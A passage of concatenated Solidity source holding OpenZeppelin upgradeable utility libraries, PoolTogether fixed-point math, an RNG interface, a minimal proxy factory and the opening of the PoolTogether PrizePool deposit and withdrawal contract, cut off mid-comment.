https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMathUpgradeable.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library CountersUpgradeable { using SafeMathUpgradeable for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCastUpgradeable { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } /** Copyright 2020 PoolTogether Inc. This file is part of PoolTogether. PoolTogether is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation under version 3 of the License. PoolTogether is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PoolTogether. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.0 <0.8.0; import "./external/openzeppelin/OpenZeppelinSafeMath_V3_3_0.sol"; /** * @author Brendan Asselstine * @notice Provides basic fixed point math calculations. * * This library calculates integer fractions by scaling values by 1e18 then performing standard integer math. */ library FixedPoint { using OpenZeppelinSafeMath_V3_3_0 for uint256; // The scale to use for fixed point numbers. Same as Ether for simplicity. uint256 internal constant SCALE = 1e18; /** * Calculates a Fixed18 mantissa given the numerator and denominator * * The mantissa = (numerator * 1e18) / denominator * * @param numerator The mantissa numerator * @param denominator The mantissa denominator * @return The mantissa of the fraction */ function calculateMantissa(uint256 numerator, uint256 denominator) internal pure returns (uint256) { uint256 mantissa = numerator.mul(SCALE); mantissa = mantissa.div(denominator); return mantissa; } /** * Multiplies a Fixed18 number by an integer. * * @param b The whole integer to multiply * @param mantissa The Fixed18 number * @return An integer that is the result of multiplying the params. */ function multiplyUintByMantissa(uint256 b, uint256 mantissa) internal pure returns (uint256) { uint256 result = mantissa.mul(b); result = result.div(SCALE); return result; } /** * Divides an integer by a fixed point 18 mantissa * * @param dividend The integer to divide * @param mantissa The fixed point 18 number to serve as the divisor * @return An integer that is the result of dividing an integer by a fixed point 18 mantissa */ function divideUintByMantissa(uint256 dividend, uint256 mantissa) internal pure returns (uint256) { uint256 result = SCALE.mul(dividend); result = result.div(mantissa); return result; } } // SPDX-License-Identifier: MIT // NOTE: Copied from OpenZeppelin Contracts version 3.3.0 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library OpenZeppelinSafeMath_V3_3_0 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0; /// @title Random Number Generator Interface /// @notice Provides an interface for requesting random numbers from 3rd-party RNG services (Chainlink VRF, Starkware VDF, etc..) interface RNGInterface { /// @notice Emitted when a new request for a random number has been submitted /// @param requestId The indexed ID of the request used to get the results of the RNG service /// @param sender The indexed address of the sender of the request event RandomNumberRequested(uint32 indexed requestId, address indexed sender); /// @notice Emitted when an existing request for a random number has been completed /// @param requestId The indexed ID of the request used to get the results of the RNG service /// @param randomNumber The random number produced by the 3rd-party service event RandomNumberCompleted(uint32 indexed requestId, uint256 randomNumber); /// @notice Gets the last request id used by the RNG service /// @return requestId The last request id used in the last request function getLastRequestId() external view returns (uint32 requestId); /// @notice Gets the Fee for making a Request against an RNG service /// @return feeToken The address of the token that is used to pay fees /// @return requestFee The fee required to be paid to make a request function getRequestFee() external view returns (address feeToken, uint256 requestFee); /// @notice Sends a request for a random number to the 3rd-party service /// @dev Some services will complete the request immediately, others may have a time-delay /// @dev Some services require payment in the form of a token, such as $LINK for Chainlink VRF /// @return requestId The ID of the request used to get the results of the RNG service /// @return lockBlock The block number at which the RNG service will start generating time-delayed randomness. The calling contract /// should "lock" all activity until the result is available via the `requestId` function requestRandomNumber() external returns (uint32 requestId, uint32 lockBlock); /// @notice Checks if the request for randomness from the 3rd-party service has completed /// @dev For time-delayed requests, this function is used to check/confirm completion /// @param requestId The ID of the request used to get the results of the RNG service /// @return isCompleted True if the request has completed and a random number is available, false otherwise function isRequestComplete(uint32 requestId) external view returns (bool isCompleted); /// @notice Gets the random number produced by the 3rd-party service /// @param requestId The ID of the request used to get the results of the RNG service /// @return randomNum The random number function randomNumber(uint32 requestId) external returns (uint256 randomNum); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC1820RegistryUpgradeable.sol"; library Constants { IERC1820RegistryUpgradeable public constant REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); // keccak256("ERC777TokensSender") bytes32 public constant TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 public constant TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC")); bytes32 public constant ACCEPT_MAGIC = 0xa2ef4600d742022d532d4747cb3547474667d6f13804902513b2ec01c848f4b4; bytes4 public constant ERC165_INTERFACE_ID_ERC165 = 0x01ffc9a7; bytes4 public constant ERC165_INTERFACE_ID_ERC721 = 0x80ac58cd; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface ICompLike is IERC20Upgradeable { function getCurrentVotes(address account) external view returns (uint96); function delegate(address delegatee) external; } pragma solidity >=0.6.0 <0.7.0; // solium-disable security/no-inline-assembly // solium-disable security/no-low-level-calls contract ProxyFactory { event ProxyCreated(address proxy); function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) { // Adapted from https://github.com/optionality/clone-factory/blob/32782f82dfc5a00d103a7e61a17a5dedbd1e8e9d/contracts/CloneFactory.sol bytes20 targetBytes = bytes20(_logic); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) proxy := create(0, clone, 0x37) } emit ProxyCreated(address(proxy)); if(_data.length > 0) { (bool success,) = proxy.call(_data); require(success, "ProxyFactory/constructor-call-failed"); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/introspection/ERC165CheckerUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@pooltogether/fixed-point/contracts/FixedPoint.sol"; import "../external/compound/ICompLike.sol"; import "../registry/RegistryInterface.sol"; import "../reserve/ReserveInterface.sol"; import "../token/TokenListenerInterface.sol"; import "../token/TokenListenerLibrary.sol"; import "../token/ControlledToken.sol"; import "../token/TokenControllerInterface.sol"; import "../utils/MappedSinglyLinkedList.sol"; import "./PrizePoolInterface.sol"; /// @title Escrows assets and deposits them into a yield source. Exposes interest to Prize Strategy. Users deposit and withdraw from this contract to participate in Prize Pool. /// @notice Accounting is managed using Controlled Tokens, whose mint and burn functions can only be called by this contract. /// @dev Must be inherited to provide specific yield-bearing asset control, such as Compound cTokens abstract contract PrizePool is PrizePoolInterface, OwnableUpgradeable, ReentrancyGuardUpgradeable, TokenControllerInterface { using SafeMathUpgradeable for uint256; using SafeCastUpgradeable for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; using MappedSinglyLinkedList for MappedSinglyLinkedList.Mapping; using ERC165CheckerUpgradeable for address; /// @dev Emitted when an instance is initialized event Initialized( address reserveRegistry, uint256 maxExitFeeMantissa, uint256 maxTimelockDuration ); /// @dev Event emitted when controlled token is added event ControlledTokenAdded( ControlledTokenInterface indexed token ); /// @dev Emitted when reserve is captured. event ReserveFeeCaptured( uint256 amount ); event AwardCaptured( uint256 amount ); /// @dev Event emitted when assets are deposited event Deposited( address indexed operator, address indexed to, address indexed token, uint256 amount, address referrer ); /// @dev Event emitted when timelocked funds are re-deposited event TimelockDeposited( address indexed operator, address indexed to, address indexed token, uint256 amount ); /// @dev Event emitted when interest is awarded to a winner event Awarded( address indexed winner, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC20s are awarded to a winner event AwardedExternalERC20( address indexed winner, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC20s are transferred out event TransferredExternalERC20( address indexed to, address indexed token, uint256 amount ); /// @dev Event emitted when external ERC721s are awarded to a winner event AwardedExternalERC721( address indexed winner, address indexed token, uint256[] tokenIds ); /// @dev Event emitted when assets are withdrawn instantly event InstantWithdrawal( address indexed operator, address indexed from, address indexed token, uint256 amount, uint256 redeemed, uint256 exitFee ); /// @dev Event emitted upon a withdrawal with timelock event TimelockedWithdrawal( address indexed operator, address indexed from, address indexed token, uint256 amount, uint256 unlockTimestamp ); event ReserveWithdrawal( address indexed to, uint256 amount ); /// @dev Event emitted when timelocked funds are swept back to a user event TimelockedWithdrawalSwept( address indexed operator, address indexed from, uint256 amount, uint256 redeemed ); /// @dev Event emitted when the Liquidity Cap is set event LiquidityCapSet( uint256 liquidityCap ); /// @dev Event emitted when the Credit plan is set event CreditPlanSet( address token, uint128 creditLimitMantissa, uint128 creditRateMantissa ); /// @dev Event emitted when the Prize Strategy is set event PrizeStrategySet( address indexed prizeStrategy ); /// @dev Emitted when credit is minted event CreditMinted( address indexed user, address indexed token, uint256 amount ); /// @dev Emitted when credit is burned event CreditBurned( address indexed user, address indexed token, uint256 amount ); struct CreditPlan { uint128 creditLimitMantissa; uint128 creditRateMantissa; } struct CreditBalance { uint192 balance; uint32 timestamp; bool initialized; } /// @dev Reserve to which reserve fees are sent RegistryInterface public reserveRegistry; /// @dev A linked list of all the controlled tokens MappedSinglyLinkedList.Mapping internal _tokens; /// @dev The Prize Strategy that this Prize Pool is bound to. TokenListenerInterface public prizeStrategy; /// @dev The maximum possible exit fee fraction as a fixed point 18 number. /// For example, if the maxExitFeeMantissa is "0.1 ether", then the maximum exit fee for a withdrawal of 100 Dai will be 10 Dai uint256 public maxExitFeeMantissa; /// @dev The maximum possible timelock duration for a timelocked withdrawal (in seconds). uint256 public maxTimelockDuration; /// @dev The total funds that are timelocked. uint256 public timelockTotalSupply; /// @dev The total funds that have been allocated to the reserve uint256 public reserveTotalSupply; /// @dev The total amount of funds that the prize pool can hold. uint256 public liquidityCap; /// @dev the The awardable balance uint256 internal _currentAwardBalance; /// @dev The timelocked balances for each user mapping(address => uint256) internal _timelockBalances; /// @dev The unlock timestamps for each user mapping(address => uint256) internal _unlockTimestamps; /// @dev Stores the credit plan for each token. mapping(address => CreditPlan) internal _tokenCreditPlans; /// @dev Stores each users balance of credit per token. mapping(address => mapping(address => CreditBalance)) internal _tokenCreditBalances; /// @notice Initializes the Prize Pool /// @param _controlledTokens Array of ControlledTokens that are controlled by this Prize Pool. /// @param _maxExitFeeMantissa The maximum exit fee size /// @param _maxTimelockDuration The maximum length of time the withdraw timelock function initialize ( RegistryInterface _reserveRegistry, ControlledTokenInterface[] memory _controlledTokens, uint256 _maxExitFeeMantissa, uint256 _maxTimelockDuration ) public initializer { require(address(_reserveRegistry) != address(0), "PrizePool/reserveRegistry-not-zero"); _tokens.initialize(); for (uint256 i = 0; i < _controlledTokens.length; i++) { _addControlledToken(_controlledTokens[i]); } __Ownable_init(); __ReentrancyGuard_init(); _setLiquidityCap(uint256(-1)); reserveRegistry = _reserveRegistry; maxExitFeeMantissa = _maxExitFeeMantissa; maxTimelockDuration = _maxTimelockDuration; emit Initialized( address(_reserveRegistry), maxExitFeeMantissa, maxTimelockDuration ); } /// @dev Returns the address of the underlying ERC20 asset /// @return The address of the asset function token() external override view returns (address) { return address(_token()); } /// @dev Returns the total underlying balance of all assets. This includes both principal and interest. /// @return The underlying balance of assets function balance() external returns (uint256) { return _balance(); } /// @dev Checks with the Prize Pool if a specific token type may be awarded as an external prize /// @param _externalToken The address of the token to check /// @return True if the token may be awarded, false otherwise function canAwardExternal(address _externalToken) external view returns (bool) { return _canAwardExternal(_externalToken); } /// @notice Deposits timelocked tokens for a user back into the Prize Pool as another asset. /// @param to The address receiving the tokens /// @param amount The amount of timelocked assets to re-deposit /// @param controlledToken The type of token to be minted in exchange (i.e. tickets or sponsorship) function timelockDepositTo( address to, uint256 amount, address controlledToken ) external onlyControlledToken(controlledToken) canAddLiquidity(amount) nonReentrant { address operator = _msgSender(); _mint(to, amount, controlledToken, address(0)); _timelockBalances[operator] = _timelockBalances[operator].sub(amount); timelockTotalSupply = timelockTotalSupply.sub(amount); emit TimelockDeposited(operator, to, controlledToken, amount); } /// @notice Deposit assets into the Prize Pool in exchange for tokens /// @param to The address receiving the newly minted tokens /// @param amount The amount of assets to deposit /// @param controlledToken The address of the type of token the user is minting /// @param referrer The referrer of the deposit function depositTo( address to, uint256 amount, address controlledToken, address referrer ) external override onlyControlledToken(controlledToken) canAddLiquidity(amount) nonReentrant { address operator = _msgSender(); _mint(to, amount, controlledToken, referrer); _token().safeTransferFrom(operator, address(this), amount); _supply(amount); emit Deposited(operator, to, controlledToken, amount, referrer); } /// @notice Withdraw assets from the Prize Pool instantly. A fairness fee may be charged for an early exit. /// @param from The address to redeem tokens from. /// @param amount The amount of tokens to redeem for assets. /// @param controlledToken The address of the token to redeem (i.e. ticket or sponsorship) /// @param maximumExitFee The maximum exit fee the caller is willing to pay. This should be pre-calculated by the calculateExitFee() fxn. /// @return The actual exit fee paid function withdrawInstantlyFrom( address from, uint256 amount, address controlledToken, uint256 maximumExitFee ) external override nonReentrant onlyControlledToken(controlledToken) returns (uint256) { (uint256 exitFee, uint256 burnedCredit) = _calculateEarlyExitFeeLessBurnedCredit(from, controlledToken, amount); require(exitFee <= maximumExitFee, "PrizePool/exit-fee-exceeds-user-maximum"); // burn the credit _burnCredit(from, controlledToken, burnedCredit); // burn the tickets ControlledToken(controlledToken).controllerBurnFrom(_msgSender(), from, amount); // redeem the tickets less the fee uint256 amountLessFee = amount.sub(exitFee); uint256 redeemed = _redeem(amountLessFee); _token().safeTransfer(from, redeemed); emit InstantWithdrawal(_msgSender(), from, controlledToken, amount, redeemed, exitFee); return exitFee; } /// @notice Limits the exit fee to the maximum as hard-coded into the contract /// @param withdrawalAmount The amount that is attempting to be withdrawn /// @param exitFee The exit fee to check against the limit /// @return The passed exit fee if it is less than the maximum, otherwise the maximum fee is returned. function _limitExitFee(uint256 withdrawalAmount, uint256 exitFee) internal view returns (uint256) { uint256 maxFee = FixedPoint.multiplyUintByMantissa(withdrawalAmount, maxExitFeeMantissa); if (exitFee > maxFee) { exitFee = maxFee; } return exitFee; } /// @notice Withdraw assets from the Prize Pool by placing them into the timelock. /// The timelock is used to ensure that the tickets have contributed their fair share of the prize. /// @dev Note that if the user has previously timelocked funds then this contract will try to sweep them. /// If the existing timelocked funds are still locked, then the incoming /// balance is added to their existing balance and the new timelock unlock timestamp will overwrite the old one. /// @param from The address to withdraw from /// @param amount The amount to withdraw /// @param controlledToken The type of token being withdrawn /// @return The timestamp from which the funds can be swept function withdrawWithTimelockFrom( address from, uint256 amount, address controlledToken ) external override nonReentrant onlyControlledToken(controlledToken) returns (uint256) { uint256 blockTime = _currentTime(); (uint256 lockDuration, uint256 burnedCredit) = _calculateTimelockDuration(from, controlledToken, amount); uint256 unlockTimestamp = blockTime.add(lockDuration); _burnCredit(from, controlledToken, burnedCredit); ControlledToken(controlledToken).controllerBurnFrom(_msgSender(), from, amount); _mintTimelock(from, amount, unlockTimestamp); emit TimelockedWithdrawal(_msgSender(), from, controlledToken, amount, unlockTimestamp); // return the block at which the funds will be available return unlockTimestamp; } /// @notice Adds to a user's timelock balance. It will attempt to sweep before updating the balance. /// Note that this will overwrite the previous unlock timestamp. /// @param user The user whose timelock balance should increase /// @param amount The amount to increase by /// @param timestamp The new unlock timestamp function _mintTimelock(address user, uint256 amount, uint256 timestamp) internal { // Sweep the old balance, if any address[] memory users = new address[](1); users[0] = user; _sweepTimelockBalances(users); timelockTotalSupply = timelockTotalSupply.add(amount); _timelockBalances[user] = _timelockBalances[user].add(amount); _unlockTimestamps[user] = timestamp; // if the funds should already be unlocked if (timestamp <= _currentTime()) { _sweepTimelockBalances(users); } } /// @notice Updates the Prize Strategy when tokens are transferred between holders. 